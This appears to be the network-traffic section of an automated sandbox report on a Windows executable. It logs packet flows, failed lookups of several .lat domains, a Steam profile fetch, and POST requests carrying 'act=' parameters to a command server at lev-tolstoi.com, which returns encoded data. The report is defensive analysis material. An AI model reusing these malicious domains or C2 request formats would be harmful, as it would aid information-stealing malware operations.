Dec 26, 2024 13:09:40.577441931 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:40.585998058 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:40.586322069 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:40.586359024 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:40.586425066 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:40.586431980 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:41.587574959 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:41.587671995 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:41.587749004 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:41.769406080 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:41.769429922 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:42.287062883 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:42.287117004 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:42.287414074 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:42.287992001 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:42.288007975 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:43.591942072 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:43.592012882 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:43.594187975 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:43.594198942 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:43.594435930 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:43.596024990 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:43.596024990 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:43.596055984 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:44.390707970 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:44.390806913 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:44.391001940 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:44.391092062 CET	49729	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:44.391108990 CET	443	49729	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:44.891448021 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:44.891499043 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:44.891644955 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:44.891989946 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:44.892000914 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.195467949 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.195558071 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.196965933 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.196974993 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.197210073 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.205389977 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.206204891 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.206232071 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.206351995 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.206370115 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.206479073 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.206516981 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.206640959 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.206655979 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.206792116 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.206809044 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.206954002 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.206971884 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.206995010 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.207110882 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.207139969 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.247328043 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.247525930 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.247591972 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.247612953 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.295351028 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.295500994 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.295545101 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.295581102 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.339339018 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.339513063 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.377907991 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:46.377927065 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:46.568150043 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:49.907645941 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:49.907762051 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:49.907815933 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:49.924593925 CET	49736	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:49.924607038 CET	443	49736	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:49.951822042 CET	49747	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:49.951849937 CET	443	49747	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:49.951913118 CET	49747	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:49.952658892 CET	49747	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:49.952672005 CET	443	49747	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:50.190423965 CET	49747	443	192.168.2.5	172.67.157.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 13:09:22.212302923 CET	52593	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:22.350723028 CET	53	52593	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:22.355457067 CET	62122	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:22.493642092 CET	53	62122	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:22.593627930 CET	49392	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:22.731213093 CET	53	49392	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:22.732990026 CET	63101	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:22.870779991 CET	53	63101	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:22.875255108 CET	62155	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:23.013509989 CET	53	62155	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:23.026057959 CET	55701	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:23.164361000 CET	53	55701	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:23.166539907 CET	50814	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:23.306277037 CET	53	50814	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:23.312824965 CET	56756	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:23.450612068 CET	53	56756	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:23.453182936 CET	57309	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:23.592289925 CET	53	57309	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:23.594928026 CET	53608	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:23.733939886 CET	53	53608	1.1.1.1	192.168.2.5
Dec 26, 2024 13:09:26.398699999 CET	51648	53	192.168.2.5	1.1.1.1
Dec 26, 2024 13:09:26.541241884 CET	53	51648	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 26, 2024 13:09:22.212302923 CET	192.168.2.5	1.1.1.1	0x8e7e	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:22.355457067 CET	192.168.2.5	1.1.1.1	0x3a65	Standard query (0)	wordyfindy.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:22.593627930 CET	192.168.2.5	1.1.1.1	0x8f0f	Standard query (0)	slipperyloo.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:22.732990026 CET	192.168.2.5	1.1.1.1	0xafbe	Standard query (0)	manyrestro.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:22.875255108 CET	192.168.2.5	1.1.1.1	0x3600	Standard query (0)	shapestickyr.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.026057959 CET	192.168.2.5	1.1.1.1	0x69ee	Standard query (0)	talkynicer.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.166539907 CET	192.168.2.5	1.1.1.1	0xaa79	Standard query (0)	curverpluch.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.312824965 CET	192.168.2.5	1.1.1.1	0x4974	Standard query (0)	tentabatte.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.453182936 CET	192.168.2.5	1.1.1.1	0x82f6	Standard query (0)	bashfulacid.lat	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.594928026 CET	192.168.2.5	1.1.1.1	0x3766	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:26.398699999 CET	192.168.2.5	1.1.1.1	0xb884	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 26, 2024 13:09:22.350723028 CET	1.1.1.1	192.168.2.5	0x8e7e	Name error (3)	observerfry.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:22.493642092 CET	1.1.1.1	192.168.2.5	0x3a65	Name error (3)	wordyfindy.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:22.731213093 CET	1.1.1.1	192.168.2.5	0x8f0f	Name error (3)	slipperyloo.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:22.870779991 CET	1.1.1.1	192.168.2.5	0xafbe	Name error (3)	manyrestro.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.013509989 CET	1.1.1.1	192.168.2.5	0x3600	Name error (3)	shapestickyr.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.164361000 CET	1.1.1.1	192.168.2.5	0x69ee	Name error (3)	talkynicer.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.306277037 CET	1.1.1.1	192.168.2.5	0xaa79	Name error (3)	curverpluch.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.450612068 CET	1.1.1.1	192.168.2.5	0x4974	Name error (3)	tentabatte.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.592289925 CET	1.1.1.1	192.168.2.5	0x82f6	Name error (3)	bashfulacid.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:23.733939886 CET	1.1.1.1	192.168.2.5	0x3766	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:26.541241884 CET	1.1.1.1	192.168.2.5	0xb884	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:09:26.541241884 CET	1.1.1.1	192.168.2.5	0xb884	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.102.49.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:25 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-26 12:09:26 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Dec 2024 12:09:25 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=993923a1e5572274823263e9; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-26 12:09:26 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-26 12:09:26 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-26 12:09:26 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2024-12-26 12:09:26 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.157.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:27 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-26 12:09:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-26 12:09:28 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1o7k7uv9ptfqt0lslu4ecitln3; expires=Mon, 21 Apr 2025 05:56:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tcOlpK5JgRPh5bJsBirOACcbefqw3iZq2ZGd7GH79MsvzK11D76cN%2B9SUe9PJrmY1lMA2ZImC5AtpUAF7WqRc%2Fznx3ufktsaUDRluL98uDys1xl%2BdawlbE1vDwHi35DXRr4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80f64ef99d0f6f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1465&rtt_var=564&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1914754&cwnd=209&unsent_bytes=0&cid=534b6e505c957823&ts=792&x=0"
2024-12-26 12:09:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-26 12:09:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.157.254	443	6460	C:\Users\user\Desktop\YKri2nEBWE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:09:29 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: lev-tolstoi.com
2024-12-26 12:09:29 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-26 12:09:30 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:09:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b03u04m5ffmgq5u922rfpd6me0; expires=Mon, 21 Apr 2025 05:56:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UhgX6cuOS16OF2XIMAWnE6w83L84yIgbgdvJbezsvSXZJj2qEwMSDMkOW6PH4xQ%2FQ8LFFSlG82gjFesjFR0WX1%2BXoyWXJ5JaNo21LbSwstidlw64AP9iS6T5GfTxxwYEqBU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80f65c3fbc43a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1786&rtt_var=675&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=952&delivery_rate=1634938&cwnd=233&unsent_bytes=0&cid=0f78583ea17c74f4&ts=778&x=0"
2024-12-26 12:09:30 UTC	248	IN	Data Raw: 34 39 31 63 0d 0a 35 6e 75 58 4d 37 66 71 59 2f 67 67 2f 73 42 54 78 5a 52 38 49 44 78 54 44 42 5a 63 32 37 72 36 69 49 73 69 6b 43 59 62 44 33 36 64 57 65 45 52 6a 64 35 50 32 6c 4f 62 34 6d 6d 78 35 67 6c 46 45 48 46 74 63 6e 37 68 33 4a 76 6b 2b 45 65 38 42 47 31 69 58 4e 77 64 39 6c 2f 45 6a 30 2f 61 52 59 62 69 61 5a 37 76 58 6b 56 53 63 54 59 30 4f 62 48 59 6d 2b 54 70 51 2f 74 4a 61 32 4d 64 6a 68 66 77 57 39 4b 4a 42 35 6c 4d 6b 36 55 32 6f 50 55 57 54 6c 55 2b 5a 48 74 2b 39 35 69 66 38 71 6b 59 73 6d 74 2b 65 78 2b 72 47 75 52 59 6c 5a 64 50 67 77 4b 62 72 6e 48 2f 74 68 31 46 58 6a 39 71 63 6a 65 7a 30 70 4c 73 36 45 62 36 56 6e 4a 70 46 6f 34 5a 38 31 72 59 67 42 4f 55 52 70 53 75 4d 4b 72 31 58 67 77 65 4e 6e 59 30 5a 76 Data Ascii: 491c5nuXM7fqY/gg/sBTxZR8IDxTDBZc27r6iIsikCYbD36dWeERjd5P2lOb4mmx5glFEHFtcn7h3Jvk+Ee8BG1iXNwd9l/Ej0/aRYbiaZ7vXkVScTY0ObHYm+TpQ/tJa2MdjhfwW9KJB5lMk6U2oPUWTlU+ZHt+95if8qkYsmt+ex+rGuRYlZdPgwKbrnH/th1FXj9qcjez0pLs6Eb6VnJpFo4Z81rYgBOURpSuMKr1XgweNnY0Zv
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 6d 4c 71 75 6e 34 55 65 64 4a 61 57 74 63 6d 31 66 73 45 64 4b 45 51 63 49 43 6c 4b 34 2f 6f 76 55 52 52 56 38 78 66 48 73 2b 75 74 43 51 37 75 4e 50 2f 55 74 33 5a 78 75 4d 45 50 4a 65 30 6f 41 48 6c 55 48 63 37 48 47 67 37 6c 34 61 48 68 46 2b 64 7a 32 74 31 59 6d 71 39 67 37 72 42 48 35 68 58 4e 78 5a 38 31 2f 55 68 51 47 49 53 70 65 70 4e 4c 58 39 46 30 39 54 4d 57 4e 2b 4d 62 72 59 6e 2b 44 6a 54 2f 68 41 64 47 41 61 68 42 6d 31 48 35 57 50 47 64 6f 61 33 49 45 30 74 2f 45 53 56 42 77 4c 4c 6d 74 77 6f 4a 69 66 35 71 6b 59 73 6b 78 38 62 68 2b 50 46 76 5a 5a 33 70 6f 42 69 45 53 52 70 79 4f 68 38 78 42 49 58 53 4e 6b 65 6a 69 36 30 5a 50 6a 37 45 66 32 42 44 63 74 47 35 78 5a 72 52 48 30 68 51 71 57 53 49 75 69 63 62 69 34 42 77 4a 5a 50 53 34 73 66 Data Ascii: mLqun4UedJaWtcm1fsEdKEQcIClK4/ovURRV8xfHs+utCQ7uNP/Ut3ZxuMEPJe0oAHlUHc7HGg7l4aHhF+dz2t1Ymq9g7rBH5hXNxZ81/UhQGISpepNLX9F09TMWN+MbrYn+DjT/hAdGAahBm1H5WPGdoa3IE0t/ESVBwLLmtwoJif5qkYskx8bh+PFvZZ3poBiESRpyOh8xBIXSNkeji60ZPj7Ef2BDctG5xZrRH0hQqWSIuicbi4BwJZPS4sf
2024-12-26 12:09:30 UTC	1369	IN	Data Raw: 71 70 77 44 31 58 44 6b 31 58 4b 34 61 34 56 4c 66 79 6a 53 5a 54 4a 4b 6c 4a 2b 66 70 55 46 73 65 4e 6d 49 30 5a 76 6e 56 6d 65 4c 76 55 76 31 4a 65 6d 4d 53 69 78 7a 36 57 64 57 49 44 4a 39 47 6c 36 6b 79 71 76 49 4d 53 46 34 35 61 33 55 30 73 35 6a 57 71 75 35 59 73 68 77 35 58 41 75 50 57 38 42 53 32 34 59 47 6a 41 4b 44 37 43 6a 6e 38 52 49 43 42 6e 46 6a 66 44 75 38 31 35 6e 67 35 30 58 34 53 48 46 6a 48 35 59 57 38 56 48 5a 67 41 75 58 54 4a 69 71 4f 4b 7a 39 47 45 4a 66 4f 79 34 36 66 72 37 41 32 4c 4b 70 64 50 56 49 64 47 4a 65 73 52 72 37 58 39 4b 65 51 59 55 4d 68 65 49 32 71 37 5a 47 41 6c 49 34 62 6e 38 30 76 64 69 66 35 2b 78 44 39 55 64 30 61 68 61 4b 48 76 46 64 33 49 55 48 6d 6b 57 59 70 79 4f 69 2f 78 4a 4f 48 6e 38 75 63 79 62 35 67 4e Data Ascii: 